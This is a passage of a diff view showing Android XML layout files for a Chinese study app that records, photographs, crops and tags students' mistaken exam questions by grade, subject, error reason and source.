286 | android:layout_weight="1" | ||
287 | android:background="@drawable/filter_button_selector" | ||
288 | android:button="@null" | ||
289 | android:gravity="center" | ||
290 | android:text="三个月内" | ||
291 | android:textColor="@drawable/radio_text_selector" | ||
292 | android:textSize="14sp" /> | ||
293 | |||
294 | <RadioButton | ||
295 | android:layout_width="0dp" | ||
296 | android:layout_height="match_parent" | ||
297 | android:layout_marginRight="15dp" | ||
298 | android:layout_weight="1" | ||
299 | android:background="@drawable/filter_button_selector" | ||
300 | android:button="@null" | ||
301 | android:gravity="center" | ||
302 | android:text="全部" | ||
303 | android:textColor="@drawable/radio_text_selector" | ||
304 | android:textSize="14sp" /> | ||
305 | </RadioGroup> | ||
306 | </LinearLayout> | ||
307 | |||
308 | |||
309 | <LinearLayout | ||
310 | android:id="@+id/ll_empty" | ||
311 | android:layout_width="wrap_content" | ||
312 | android:layout_height="wrap_content" | ||
313 | android:layout_above="@+id/rl_bottom" | ||
314 | android:layout_below="@+id/ll_filter" | ||
315 | android:layout_centerHorizontal="true" | ||
316 | android:layout_marginTop="150dp" | ||
317 | android:orientation="vertical" | ||
318 | android:visibility="gone"> | ||
319 | |||
320 | <ImageView | ||
321 | android:layout_width="155dp" | ||
322 | android:layout_height="130dp" | ||
323 | android:src="@mipmap/ic_empty" /> | ||
324 | |||
325 | <TextView | ||
326 | android:layout_width="wrap_content" | ||
327 | android:layout_height="wrap_content" | ||
328 | android:layout_gravity="center_horizontal" | ||
329 | android:text="暂无错题~" /> | ||
330 | </LinearLayout> | ||
331 | |||
332 | <RelativeLayout | ||
333 | android:id="@+id/rl_bottom" | ||
334 | android:layout_width="match_parent" | ||
335 | android:layout_height="70dp" | ||
336 | android:layout_alignParentBottom="true" | ||
337 | android:background="@color/white"> | ||
338 | |||
339 | <TextView | ||
340 | android:id="@+id/tv_add" | ||
341 | android:layout_width="280dp" | ||
342 | android:layout_height="40dp" | ||
343 | android:layout_centerInParent="true" | ||
344 | android:background="@drawable/bg_soild_blue_5" | ||
345 | android:gravity="center" | ||
346 | android:text="录入错题" | ||
347 | android:textColor="@color/white" | ||
348 | android:textSize="18sp" /> | ||
349 | |||
350 | <LinearLayout | ||
351 | android:id="@+id/ll_delete" | ||
352 | android:layout_width="wrap_content" | ||
353 | android:layout_height="wrap_content" | ||
354 | android:layout_centerVertical="true" | ||
355 | android:layout_marginLeft="15dp" | ||
356 | android:orientation="vertical" | ||
357 | android:visibility="gone"> | ||
358 | |||
359 | <ImageView | ||
360 | android:layout_width="25dp" | ||
361 | android:layout_height="25dp" | ||
362 | android:layout_gravity="center_horizontal" | ||
363 | android:src="@mipmap/ic_delete" /> | ||
364 | |||
365 | <TextView | ||
366 | android:layout_width="wrap_content" | ||
367 | android:layout_height="wrap_content" | ||
368 | android:layout_gravity="center_horizontal" | ||
369 | android:layout_marginTop="5dp" | ||
370 | android:text="删除" | ||
371 | android:textSize="11sp" /> | ||
372 | </LinearLayout> | ||
373 | |||
374 | <TextView | ||
375 | android:id="@+id/tv_save" | ||
376 | android:layout_width="280dp" | ||
377 | android:layout_height="40dp" | ||
378 | android:layout_alignParentRight="true" | ||
379 | android:layout_centerVertical="true" | ||
380 | android:layout_marginRight="15dp" | ||
381 | android:background="@drawable/bg_soild_blue_5" | ||
382 | android:gravity="center" | ||
383 | android:text="批量修改标签" | ||
384 | android:textColor="@color/white" | ||
385 | android:textSize="18sp" | ||
386 | android:visibility="gone" /> | ||
387 | </RelativeLayout> | ||
388 | </RelativeLayout> |
app/src/main/res/layout/activity_image.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="match_parent" | ||
4 | android:orientation="vertical"> | ||
5 | |||
6 | <RelativeLayout | ||
7 | android:layout_width="match_parent" | ||
8 | android:layout_height="40dp" | ||
9 | android:background="@color/white"> | ||
10 | |||
11 | <TextView | ||
12 | android:id="@+id/tv_title" | ||
13 | android:layout_width="wrap_content" | ||
14 | android:layout_height="wrap_content" | ||
15 | android:layout_centerInParent="true" | ||
16 | android:textColor="#333333" | ||
17 | android:textSize="18sp" /> | ||
18 | |||
19 | <ImageView | ||
20 | android:id="@+id/iv_back" | ||
21 | android:layout_width="30dp" | ||
22 | android:layout_height="36dp" | ||
23 | android:layout_centerVertical="true" | ||
24 | android:layout_marginLeft="5dp" | ||
25 | android:padding="10dp" | ||
26 | android:src="@mipmap/icon_back" /> | ||
27 | |||
28 | <TextView | ||
29 | android:id="@+id/tv_photo" | ||
30 | android:layout_width="wrap_content" | ||
31 | android:layout_height="wrap_content" | ||
32 | android:layout_centerVertical="true" | ||
33 | android:layout_toRightOf="@+id/iv_back" | ||
34 | android:text="重拍" | ||
35 | android:textColor="#333333" | ||
36 | android:textSize="14sp" /> | ||
37 | |||
38 | <TextView | ||
39 | android:layout_width="wrap_content" | ||
40 | android:layout_height="wrap_content" | ||
41 | android:layout_alignParentRight="true" | ||
42 | android:layout_centerVertical="true" | ||
43 | android:layout_marginRight="15dp" | ||
44 | android:text="查看原图" | ||
45 | android:textColor="#333333" | ||
46 | android:textSize="14sp" | ||
47 | android:visibility="gone" /> | ||
48 | </RelativeLayout> | ||
49 | |||
50 | <TextView | ||
51 | android:layout_width="match_parent" | ||
52 | android:layout_height="35dp" | ||
53 | android:background="#C7DFF5" | ||
54 | android:gravity="center" | ||
55 | android:text="已为您自动框选题目,点击“+”添加题目" | ||
56 | android:textColor="#1C90F3" | ||
57 | android:textSize="13sp" /> | ||
58 | |||
59 | <RelativeLayout | ||
60 | android:layout_width="match_parent" | ||
61 | android:layout_height="match_parent" | ||
62 | android:background="#F8F8F8"> | ||
63 | |||
64 | <androidx.viewpager2.widget.ViewPager2 | ||
65 | android:id="@+id/viewPager" | ||
66 | android:layout_width="match_parent" | ||
67 | android:layout_height="match_parent" | ||
68 | android:layout_above="@+id/rl_previous" /> | ||
69 | |||
70 | <RelativeLayout | ||
71 | android:id="@+id/rl_previous" | ||
72 | android:layout_width="30dp" | ||
73 | android:layout_height="30dp" | ||
74 | android:layout_above="@+id/rl_bottom" | ||
75 | android:layout_marginLeft="15dp" | ||
76 | android:layout_marginBottom="15dp" | ||
77 | android:background="@drawable/bg_solid_white"> | ||
78 | |||
79 | <ImageView | ||
80 | android:id="@+id/iv_previous" | ||
81 | android:layout_width="10dp" | ||
82 | android:layout_height="18dp" | ||
83 | android:layout_centerInParent="true" | ||
84 | android:src="@mipmap/ic_previous_gray" /> | ||
85 | </RelativeLayout> | ||
86 | |||
87 | <RelativeLayout | ||
88 | android:id="@+id/rl_next" | ||
89 | android:layout_width="30dp" | ||
90 | android:layout_height="30dp" | ||
91 | android:layout_above="@+id/rl_bottom" | ||
92 | android:layout_alignParentRight="true" | ||
93 | android:layout_marginRight="15dp" | ||
94 | android:layout_marginBottom="15dp" | ||
95 | android:background="@drawable/bg_solid_white"> | ||
96 | |||
97 | <ImageView | ||
98 | android:id="@+id/iv_next" | ||
99 | android:layout_width="10dp" | ||
100 | android:layout_height="18dp" | ||
101 | android:layout_centerInParent="true" | ||
102 | android:src="@mipmap/ic_next_gray" /> | ||
103 | </RelativeLayout> | ||
104 | |||
105 | <RelativeLayout | ||
106 | android:id="@+id/rl_bottom" | ||
107 | android:layout_width="match_parent" | ||
108 | android:layout_height="70dp" | ||
109 | android:layout_alignParentBottom="true" | ||
110 | android:background="@color/white"> | ||
111 | |||
112 | <LinearLayout | ||
113 | android:id="@+id/ll_edit" | ||
114 | android:layout_width="wrap_content" | ||
115 | android:layout_height="wrap_content" | ||
116 | android:layout_centerVertical="true" | ||
117 | android:layout_marginLeft="15dp" | ||
118 | android:orientation="vertical"> | ||
119 | |||
120 | <ImageView | ||
121 | android:layout_width="25dp" | ||
122 | android:layout_height="25dp" | ||
123 | android:layout_gravity="center_horizontal" | ||
124 | android:src="@mipmap/ic_pic_edit" /> | ||
125 | |||
126 | <TextView | ||
127 | android:layout_width="wrap_content" | ||
128 | android:layout_height="wrap_content" | ||
129 | android:layout_marginTop="5dp" | ||
130 | android:text="图片编辑" | ||
131 | android:textSize="11sp" /> | ||
132 | </LinearLayout> | ||
133 | |||
134 | <TextView | ||
135 | android:id="@+id/tv_add" | ||
136 | android:layout_width="140dp" | ||
137 | android:layout_height="40dp" | ||
138 | android:layout_centerVertical="true" | ||
139 | android:layout_marginRight="15dp" | ||
140 | android:layout_toLeftOf="@+id/tv_save" | ||
141 | android:background="@drawable/bg_soild_orange_5" | ||
142 | android:gravity="center" | ||
143 | android:text="手动框选" | ||
144 | android:textColor="@color/white" | ||
145 | android:textSize="18sp" /> | ||
146 | |||
147 | <TextView | ||
148 | android:id="@+id/tv_save" | ||
149 | android:layout_width="140dp" | ||
150 | android:layout_height="40dp" | ||
151 | android:layout_alignParentRight="true" | ||
152 | android:layout_centerVertical="true" | ||
153 | android:layout_marginRight="15dp" | ||
154 | android:background="@drawable/bg_soild_blue_light_5" | ||
155 | android:enabled="false" | ||
156 | android:gravity="center" | ||
157 | android:text="保留错题" | ||
158 | android:textColor="@color/white" | ||
159 | android:textSize="18sp" /> | ||
160 | </RelativeLayout> | ||
161 | </RelativeLayout> | ||
162 | </LinearLayout> |
app/src/main/res/layout/activity_image_edit.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:xxx="http://schemas.android.com/apk/res-auto" | ||
3 | android:layout_width="match_parent" | ||
4 | android:layout_height="match_parent" | ||
5 | android:orientation="vertical"> | ||
6 | |||
7 | <RelativeLayout | ||
8 | android:layout_width="match_parent" | ||
9 | android:layout_height="40dp" | ||
10 | android:background="@color/white"> | ||
11 | |||
12 | <TextView | ||
13 | android:id="@+id/tv_title" | ||
14 | android:layout_width="wrap_content" | ||
15 | android:layout_height="wrap_content" | ||
16 | android:layout_centerInParent="true" | ||
17 | android:text="图片编辑" | ||
18 | android:textColor="#333333" | ||
19 | android:textSize="18sp" /> | ||
20 | |||
21 | <ImageView | ||
22 | android:id="@+id/iv_back" | ||
23 | android:layout_width="30dp" | ||
24 | android:layout_height="36dp" | ||
25 | android:layout_centerVertical="true" | ||
26 | android:layout_marginLeft="5dp" | ||
27 | android:padding="10dp" | ||
28 | android:src="@mipmap/icon_back" /> | ||
29 | </RelativeLayout> | ||
30 | |||
31 | <RelativeLayout | ||
32 | android:layout_width="match_parent" | ||
33 | android:layout_height="match_parent" | ||
34 | android:background="@color/black"> | ||
35 | |||
36 | <RelativeLayout | ||
37 | android:layout_width="match_parent" | ||
38 | android:layout_height="match_parent" | ||
39 | android:layout_above="@+id/rl_bottom" | ||
40 | android:layout_marginLeft="15dp" | ||
41 | android:layout_marginTop="50dp" | ||
42 | android:layout_marginRight="15dp" | ||
43 | android:layout_marginBottom="50dp"> | ||
44 | |||
45 | <com.prws.common.widget.MarkSizeView | ||
46 | android:id="@+id/mark_view" | ||
47 | android:layout_width="wrap_content" | ||
48 | android:layout_height="wrap_content" | ||
49 | android:layout_centerInParent="true" | ||
50 | xxx:markedColor="@color/select_fill" | ||
51 | xxx:strokeWidth="1dp" | ||
52 | xxx:strokesColor="@color/select_border" | ||
53 | xxx:vertexColor="@color/select_border" | ||
54 | xxx:vertexWidth="12dp" /> | ||
55 | </RelativeLayout> | ||
56 | |||
57 | <RelativeLayout | ||
58 | android:id="@+id/rl_bottom" | ||
59 | android:layout_width="match_parent" | ||
60 | android:layout_height="70dp" | ||
61 | android:layout_alignParentBottom="true" | ||
62 | android:background="@color/white"> | ||
63 | |||
64 | |||
65 | <LinearLayout | ||
66 | android:id="@+id/ll_photo" | ||
67 | android:layout_width="wrap_content" | ||
68 | android:layout_height="wrap_content" | ||
69 | android:layout_centerVertical="true" | ||
70 | android:layout_marginLeft="15dp" | ||
71 | android:orientation="vertical"> | ||
72 | |||
73 | <ImageView | ||
74 | android:layout_width="25dp" | ||
75 | android:layout_height="25dp" | ||
76 | android:layout_gravity="center_horizontal" | ||
77 | android:src="@mipmap/ic_photo_again" /> | ||
78 | |||
79 | <TextView | ||
80 | android:layout_width="wrap_content" | ||
81 | android:layout_height="wrap_content" | ||
82 | android:layout_gravity="center_horizontal" | ||
83 | android:layout_marginTop="5dp" | ||
84 | android:text="重拍" | ||
85 | android:textSize="11sp" /> | ||
86 | </LinearLayout> | ||
87 | |||
88 | |||
89 | <LinearLayout | ||
90 | android:id="@+id/ll_rotate" | ||
91 | android:layout_width="wrap_content" | ||
92 | android:layout_height="wrap_content" | ||
93 | android:layout_centerVertical="true" | ||
94 | android:layout_marginLeft="40dp" | ||
95 | android:layout_toRightOf="@+id/ll_photo" | ||
96 | android:orientation="vertical"> | ||
97 | |||
98 | <ImageView | ||
99 | android:layout_width="25dp" | ||
100 | android:layout_height="25dp" | ||
101 | android:layout_gravity="center_horizontal" | ||
102 | android:src="@mipmap/ic_rotate" /> | ||
103 | |||
104 | <TextView | ||
105 | android:layout_width="wrap_content" | ||
106 | android:layout_height="wrap_content" | ||
107 | android:layout_gravity="center_horizontal" | ||
108 | android:layout_marginTop="5dp" | ||
109 | android:text="旋转" | ||
110 | android:textSize="11sp" /> | ||
111 | </LinearLayout> | ||
112 | |||
113 | <LinearLayout | ||
114 | android:id="@+id/ll_delete" | ||
115 | android:layout_width="wrap_content" | ||
116 | android:layout_height="wrap_content" | ||
117 | android:layout_centerVertical="true" | ||
118 | android:layout_marginLeft="40dp" | ||
119 | android:layout_toRightOf="@+id/ll_rotate" | ||
120 | android:orientation="vertical"> | ||
121 | |||
122 | <ImageView | ||
123 | android:layout_width="25dp" | ||
124 | android:layout_height="25dp" | ||
125 | android:layout_gravity="center_horizontal" | ||
126 | android:src="@mipmap/ic_delete" /> | ||
127 | |||
128 | <TextView | ||
129 | android:layout_width="wrap_content" | ||
130 | android:layout_height="wrap_content" | ||
131 | android:layout_gravity="center_horizontal" | ||
132 | android:layout_marginTop="5dp" | ||
133 | android:text="删除" | ||
134 | android:textSize="11sp" /> | ||
135 | </LinearLayout> | ||
136 | |||
137 | <TextView | ||
138 | android:id="@+id/tv_save" | ||
139 | android:layout_width="140dp" | ||
140 | android:layout_height="40dp" | ||
141 | android:layout_alignParentRight="true" | ||
142 | android:layout_centerVertical="true" | ||
143 | android:layout_marginRight="15dp" | ||
144 | android:background="@drawable/bg_soild_blue_5" | ||
145 | android:gravity="center" | ||
146 | android:text="完成" | ||
147 | android:textColor="@color/white" | ||
148 | android:textSize="18sp" /> | ||
149 | </RelativeLayout> | ||
150 | </RelativeLayout> | ||
151 | </LinearLayout> |
app/src/main/res/layout/activity_image_select.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:tools="http://schemas.android.com/tools" | ||
3 | xmlns:xxx="http://schemas.android.com/apk/res-auto" | ||
4 | android:layout_width="match_parent" | ||
5 | android:layout_height="match_parent" | ||
6 | android:orientation="vertical" | ||
7 | tools:ignore="MissingDefaultResource"> | ||
8 | |||
9 | <RelativeLayout | ||
10 | android:layout_width="match_parent" | ||
11 | android:layout_height="40dp" | ||
12 | android:background="@color/white"> | ||
13 | |||
14 | <TextView | ||
15 | android:id="@+id/tv_title" | ||
16 | android:layout_width="wrap_content" | ||
17 | android:layout_height="wrap_content" | ||
18 | android:layout_centerInParent="true" | ||
19 | android:text="手动框选" | ||
20 | android:textColor="#333333" | ||
21 | android:textSize="18sp" /> | ||
22 | |||
23 | <ImageView | ||
24 | android:id="@+id/iv_back" | ||
25 | android:layout_width="30dp" | ||
26 | android:layout_height="36dp" | ||
27 | android:layout_centerVertical="true" | ||
28 | android:layout_marginLeft="5dp" | ||
29 | android:padding="10dp" | ||
30 | android:src="@mipmap/icon_back" /> | ||
31 | </RelativeLayout> | ||
32 | |||
33 | <RelativeLayout | ||
34 | android:layout_width="match_parent" | ||
35 | android:layout_height="match_parent" | ||
36 | android:background="@color/white"> | ||
37 | |||
38 | <RelativeLayout | ||
39 | android:layout_width="match_parent" | ||
40 | android:layout_height="match_parent" | ||
41 | android:layout_above="@+id/rl_bottom" | ||
42 | android:layout_marginLeft="15dp" | ||
43 | android:layout_marginTop="35dp" | ||
44 | android:layout_marginRight="15dp" | ||
45 | android:layout_marginBottom="45dp"> | ||
46 | |||
47 | <com.prws.common.widget.MarkSizeView | ||
48 | android:id="@+id/mark_view" | ||
49 | android:layout_width="wrap_content" | ||
50 | android:layout_height="wrap_content" | ||
51 | android:layout_centerInParent="true" | ||
52 | xxx:markedColor="@color/select_fill" | ||
53 | xxx:strokeWidth="1dp" | ||
54 | xxx:strokesColor="@color/select_border" | ||
55 | xxx:vertexColor="@color/select_border" | ||
56 | xxx:vertexWidth="12dp" /> | ||
57 | </RelativeLayout> | ||
58 | |||
59 | <RelativeLayout | ||
60 | android:id="@+id/rl_bottom" | ||
61 | android:layout_width="match_parent" | ||
62 | android:layout_height="70dp" | ||
63 | android:layout_alignParentBottom="true" | ||
64 | android:background="@color/white"> | ||
65 | |||
66 | |||
67 | <LinearLayout | ||
68 | android:id="@+id/ll_delete" | ||
69 | android:layout_width="wrap_content" | ||
70 | android:layout_height="wrap_content" | ||
71 | android:layout_centerVertical="true" | ||
72 | android:layout_marginLeft="15dp" | ||
73 | android:orientation="vertical"> | ||
74 | |||
75 | <ImageView | ||
76 | android:layout_width="25dp" | ||
77 | android:layout_height="25dp" | ||
78 | android:layout_gravity="center_horizontal" | ||
79 | android:src="@mipmap/ic_delete" /> | ||
80 | |||
81 | <TextView | ||
82 | android:layout_width="wrap_content" | ||
83 | android:layout_height="wrap_content" | ||
84 | android:layout_gravity="center_horizontal" | ||
85 | android:layout_marginTop="5dp" | ||
86 | android:text="删除" | ||
87 | android:textSize="11sp" /> | ||
88 | </LinearLayout> | ||
89 | |||
90 | <TextView | ||
91 | android:id="@+id/tv_save" | ||
92 | android:layout_width="280dp" | ||
93 | android:layout_height="40dp" | ||
94 | android:layout_alignParentRight="true" | ||
95 | android:layout_centerVertical="true" | ||
96 | android:layout_marginRight="15dp" | ||
97 | android:background="@drawable/bg_soild_blue_5" | ||
98 | android:gravity="center" | ||
99 | android:text="完成" | ||
100 | android:textColor="@color/white" | ||
101 | android:textSize="18sp" /> | ||
102 | </RelativeLayout> | ||
103 | </RelativeLayout> | ||
104 | </LinearLayout> |
app/src/main/res/layout/dialog_add_error.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="wrap_content" | ||
4 | android:background="@drawable/bg_solid_white_10_top" | ||
5 | android:orientation="vertical"> | ||
6 | |||
7 | <RelativeLayout | ||
8 | android:layout_width="match_parent" | ||
9 | android:layout_height="50dp"> | ||
10 | |||
11 | <TextView | ||
12 | android:layout_width="wrap_content" | ||
13 | android:layout_height="wrap_content" | ||
14 | android:layout_centerInParent="true" | ||
15 | android:text="加入错题本" | ||
16 | android:textColor="@color/text_title" | ||
17 | android:textSize="17sp" | ||
18 | android:textStyle="bold" /> | ||
19 | |||
20 | <ImageView | ||
21 | android:id="@+id/iv_back" | ||
22 | android:layout_width="35dp" | ||
23 | android:layout_height="35dp" | ||
24 | android:layout_alignParentRight="true" | ||
25 | android:layout_centerVertical="true" | ||
26 | android:layout_marginRight="10dp" | ||
27 | android:padding="10dp" | ||
28 | android:src="@mipmap/ic_close" /> | ||
29 | </RelativeLayout> | ||
30 | |||
31 | <androidx.recyclerview.widget.RecyclerView | ||
32 | android:id="@+id/list_item" | ||
33 | android:layout_width="match_parent" | ||
34 | android:layout_height="30dp" | ||
35 | android:layout_marginLeft="20dp" | ||
36 | android:layout_marginTop="10dp" | ||
37 | android:layout_marginRight="20dp" /> | ||
38 | |||
39 | <RelativeLayout | ||
40 | android:layout_width="match_parent" | ||
41 | android:layout_height="90dp" | ||
42 | android:layout_marginLeft="20dp" | ||
43 | android:layout_marginTop="20dp" | ||
44 | android:layout_marginRight="20dp"> | ||
45 | |||
46 | <RelativeLayout | ||
47 | android:layout_width="match_parent" | ||
48 | android:layout_height="match_parent" | ||
49 | android:background="#F5F5F5"> | ||
50 | |||
51 | <ImageView | ||
52 | android:id="@+id/iv_topic" | ||
53 | android:layout_width="wrap_content" | ||
54 | android:layout_height="wrap_content" | ||
55 | android:layout_centerVertical="true" /> | ||
56 | </RelativeLayout> | ||
57 | </RelativeLayout> | ||
58 | |||
59 | <TextView | ||
60 | android:layout_width="wrap_content" | ||
61 | android:layout_height="wrap_content" | ||
62 | android:layout_centerVertical="true" | ||
63 | android:layout_marginLeft="20dp" | ||
64 | android:layout_marginTop="20dp" | ||
65 | android:text="年级学期" | ||
66 | android:textColor="@color/text_title" | ||
67 | android:textSize="15sp" | ||
68 | android:textStyle="bold" /> | ||
69 | |||
70 | <androidx.appcompat.widget.AppCompatSpinner | ||
71 | android:id="@+id/spinner_grade" | ||
72 | style="@style/customSpinnerStyle" | ||
73 | android:layout_width="match_parent" | ||
74 | android:layout_height="40dp" | ||
75 | android:layout_centerHorizontal="true" | ||
76 | android:layout_marginLeft="20dp" | ||
77 | android:layout_marginTop="10dp" | ||
78 | android:layout_marginRight="20dp" | ||
79 | android:background="@drawable/selector_for_custom_spinner" | ||
80 | android:entries="@array/filter_subject" | ||
81 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
82 | android:scrollbars="none" /> | ||
83 | |||
84 | <TextView | ||
85 | android:layout_width="wrap_content" | ||
86 | android:layout_height="wrap_content" | ||
87 | android:layout_centerVertical="true" | ||
88 | android:layout_marginLeft="20dp" | ||
89 | android:layout_marginTop="20dp" | ||
90 | android:text="科目" | ||
91 | android:textColor="@color/text_title" | ||
92 | android:textSize="15sp" | ||
93 | android:textStyle="bold" /> | ||
94 | |||
95 | <androidx.appcompat.widget.AppCompatSpinner | ||
96 | android:id="@+id/spinner_subject" | ||
97 | style="@style/customSpinnerStyle" | ||
98 | android:layout_width="match_parent" | ||
99 | android:layout_height="40dp" | ||
100 | android:layout_centerHorizontal="true" | ||
101 | android:layout_marginLeft="20dp" | ||
102 | android:layout_marginTop="10dp" | ||
103 | android:layout_marginRight="20dp" | ||
104 | android:background="@drawable/selector_for_custom_spinner" | ||
105 | android:entries="@array/filter_subject" | ||
106 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
107 | android:scrollbars="none" /> | ||
108 | |||
109 | <TextView | ||
110 | android:layout_width="wrap_content" | ||
111 | android:layout_height="wrap_content" | ||
112 | android:layout_centerVertical="true" | ||
113 | android:layout_marginLeft="20dp" | ||
114 | android:layout_marginTop="20dp" | ||
115 | android:text="错误原因" | ||
116 | android:textColor="@color/text_title" | ||
117 | android:textSize="15sp" | ||
118 | android:textStyle="bold" /> | ||
119 | |||
120 | <androidx.appcompat.widget.AppCompatSpinner | ||
121 | android:id="@+id/spinner_reason" | ||
122 | style="@style/customSpinnerStyle" | ||
123 | android:layout_width="match_parent" | ||
124 | android:layout_height="40dp" | ||
125 | android:layout_centerHorizontal="true" | ||
126 | android:layout_marginLeft="20dp" | ||
127 | android:layout_marginTop="10dp" | ||
128 | android:layout_marginRight="20dp" | ||
129 | android:background="@drawable/selector_for_custom_spinner" | ||
130 | android:entries="@array/filter_subject" | ||
131 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
132 | android:scrollbars="none" /> | ||
133 | |||
134 | <TextView | ||
135 | android:layout_width="wrap_content" | ||
136 | android:layout_height="wrap_content" | ||
137 | android:layout_centerVertical="true" | ||
138 | android:layout_marginLeft="20dp" | ||
139 | android:layout_marginTop="20dp" | ||
140 | android:text="来源" | ||
141 | android:textColor="@color/text_title" | ||
142 | android:textSize="15sp" | ||
143 | android:textStyle="bold" /> | ||
144 | |||
145 | <RadioGroup | ||
146 | android:id="@+id/type_radio" | ||
147 | android:layout_width="match_parent" | ||
148 | android:layout_height="40dp" | ||
149 | android:layout_marginLeft="20dp" | ||
150 | android:layout_marginTop="10dp" | ||
151 | android:orientation="horizontal"> | ||
152 | |||
153 | <RadioButton | ||
154 | android:layout_width="65dp" | ||
155 | android:layout_height="match_parent" | ||
156 | android:layout_marginRight="20dp" | ||
157 | android:background="@drawable/radio_button_selector" | ||
158 | android:button="@null" | ||
159 | android:gravity="center" | ||
160 | android:text="课内" | ||
161 | android:textColor="@drawable/radio_text_selector" | ||
162 | android:textSize="14sp" /> | ||
163 | |||
164 | <RadioButton | ||
165 | android:layout_width="65dp" | ||
166 | android:layout_height="match_parent" | ||
167 | android:layout_marginRight="20dp" | ||
168 | android:background="@drawable/radio_button_selector" | ||
169 | android:button="@null" | ||
170 | android:gravity="center" | ||
171 | android:text="课外" | ||
172 | android:textColor="@drawable/radio_text_selector" | ||
173 | android:textSize="14sp" /> | ||
174 | </RadioGroup> | ||
175 | |||
176 | |||
177 | <RelativeLayout | ||
178 | android:layout_width="match_parent" | ||
179 | android:layout_height="40dp" | ||
180 | android:layout_marginLeft="20dp" | ||
181 | android:layout_marginTop="20dp" | ||
182 | android:layout_marginRight="20dp" | ||
183 | android:layout_marginBottom="15dp"> | ||
184 | |||
185 | <TextView | ||
186 | android:id="@+id/add_topic" | ||
187 | android:layout_width="250dp" | ||
188 | android:layout_height="match_parent" | ||
189 | android:layout_alignParentRight="true" | ||
190 | android:background="@drawable/bg_soild_blue_5" | ||
191 | android:gravity="center" | ||
192 | android:textColor="@color/white" | ||
193 | android:textSize="17sp" /> | ||
194 | |||
195 | <CheckBox | ||
196 | android:id="@+id/checkbox" | ||
197 | android:layout_width="wrap_content" | ||
198 | android:layout_height="30dp" | ||
199 | android:layout_centerVertical="true" | ||
200 | android:button="@drawable/checkbox_selector" | ||
201 | android:text="批量设置" | ||
202 | android:paddingLeft="8dp" | ||
203 | android:textColor="@color/text_title" | ||
204 | android:textSize="14sp" /> | ||
205 | |||
206 | </RelativeLayout> | ||
207 | </LinearLayout> | ||
208 | |||
209 |
app/src/main/res/layout/dialog_edit_error.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="wrap_content" | ||
4 | android:background="@drawable/bg_solid_white_10_top" | ||
5 | android:orientation="vertical"> | ||
6 | |||
7 | <RelativeLayout | ||
8 | android:layout_width="match_parent" | ||
9 | android:layout_height="50dp"> | ||
10 | |||
11 | <TextView | ||
12 | android:layout_width="wrap_content" | ||
13 | android:layout_height="wrap_content" | ||
14 | android:layout_centerInParent="true" | ||
15 | android:text="错题标签" | ||
16 | android:textColor="@color/text_title" | ||
17 | android:textSize="17sp" | ||
18 | android:textStyle="bold" /> | ||
19 | |||
20 | <ImageView | ||
21 | android:id="@+id/iv_back" | ||
22 | android:layout_width="35dp" | ||
23 | android:layout_height="35dp" | ||
24 | android:layout_alignParentRight="true" | ||
25 | android:layout_centerVertical="true" | ||
26 | android:layout_marginRight="10dp" | ||
27 | android:padding="10dp" | ||
28 | android:src="@mipmap/ic_close" /> | ||
29 | </RelativeLayout> | ||
30 | |||
31 | <TextView | ||
32 | android:layout_width="wrap_content" | ||
33 | android:layout_height="wrap_content" | ||
34 | android:layout_centerVertical="true" | ||
35 | android:layout_marginLeft="20dp" | ||
36 | android:layout_marginTop="20dp" | ||
37 | android:text="年级学期" | ||
38 | android:textColor="@color/text_title" | ||
39 | android:textSize="15sp" | ||
40 | android:textStyle="bold" /> | ||
41 | |||
42 | <androidx.appcompat.widget.AppCompatSpinner | ||
43 | android:id="@+id/spinner_grade" | ||
44 | style="@style/customSpinnerStyle" | ||
45 | android:layout_width="match_parent" | ||
46 | android:layout_height="40dp" | ||
47 | android:layout_centerHorizontal="true" | ||
48 | android:layout_marginLeft="20dp" | ||
49 | android:layout_marginTop="10dp" | ||
50 | android:layout_marginRight="20dp" | ||
51 | android:background="@drawable/selector_for_custom_spinner" | ||
52 | android:entries="@array/filter_subject" | ||
53 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
54 | android:scrollbars="none" /> | ||
55 | |||
56 | <TextView | ||
57 | android:layout_width="wrap_content" | ||
58 | android:layout_height="wrap_content" | ||
59 | android:layout_centerVertical="true" | ||
60 | android:layout_marginLeft="20dp" | ||
61 | android:layout_marginTop="20dp" | ||
62 | android:text="科目" | ||
63 | android:textColor="@color/text_title" | ||
64 | android:textSize="15sp" | ||
65 | android:textStyle="bold" /> | ||
66 | |||
67 | <androidx.appcompat.widget.AppCompatSpinner | ||
68 | android:id="@+id/spinner_subject" | ||
69 | style="@style/customSpinnerStyle" | ||
70 | android:layout_width="match_parent" | ||
71 | android:layout_height="40dp" | ||
72 | android:layout_centerHorizontal="true" | ||
73 | android:layout_marginLeft="20dp" | ||
74 | android:layout_marginTop="10dp" | ||
75 | android:layout_marginRight="20dp" | ||
76 | android:background="@drawable/selector_for_custom_spinner" | ||
77 | android:entries="@array/filter_subject" | ||
78 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
79 | android:scrollbars="none" /> | ||
80 | |||
81 | <TextView | ||
82 | android:layout_width="wrap_content" | ||
83 | android:layout_height="wrap_content" | ||
84 | android:layout_centerVertical="true" | ||
85 | android:layout_marginLeft="20dp" | ||
86 | android:layout_marginTop="20dp" | ||
87 | android:text="错误原因" | ||
88 | android:textColor="@color/text_title" | ||
89 | android:textSize="15sp" | ||
90 | android:textStyle="bold" /> | ||
91 | |||
92 | <androidx.appcompat.widget.AppCompatSpinner | ||
93 | android:id="@+id/spinner_reason" | ||
94 | style="@style/customSpinnerStyle" | ||
95 | android:layout_width="match_parent" | ||
96 | android:layout_height="40dp" | ||
97 | android:layout_centerHorizontal="true" | ||
98 | android:layout_marginLeft="20dp" | ||
99 | android:layout_marginTop="10dp" | ||
100 | android:layout_marginRight="20dp" | ||
101 | android:background="@drawable/selector_for_custom_spinner" | ||
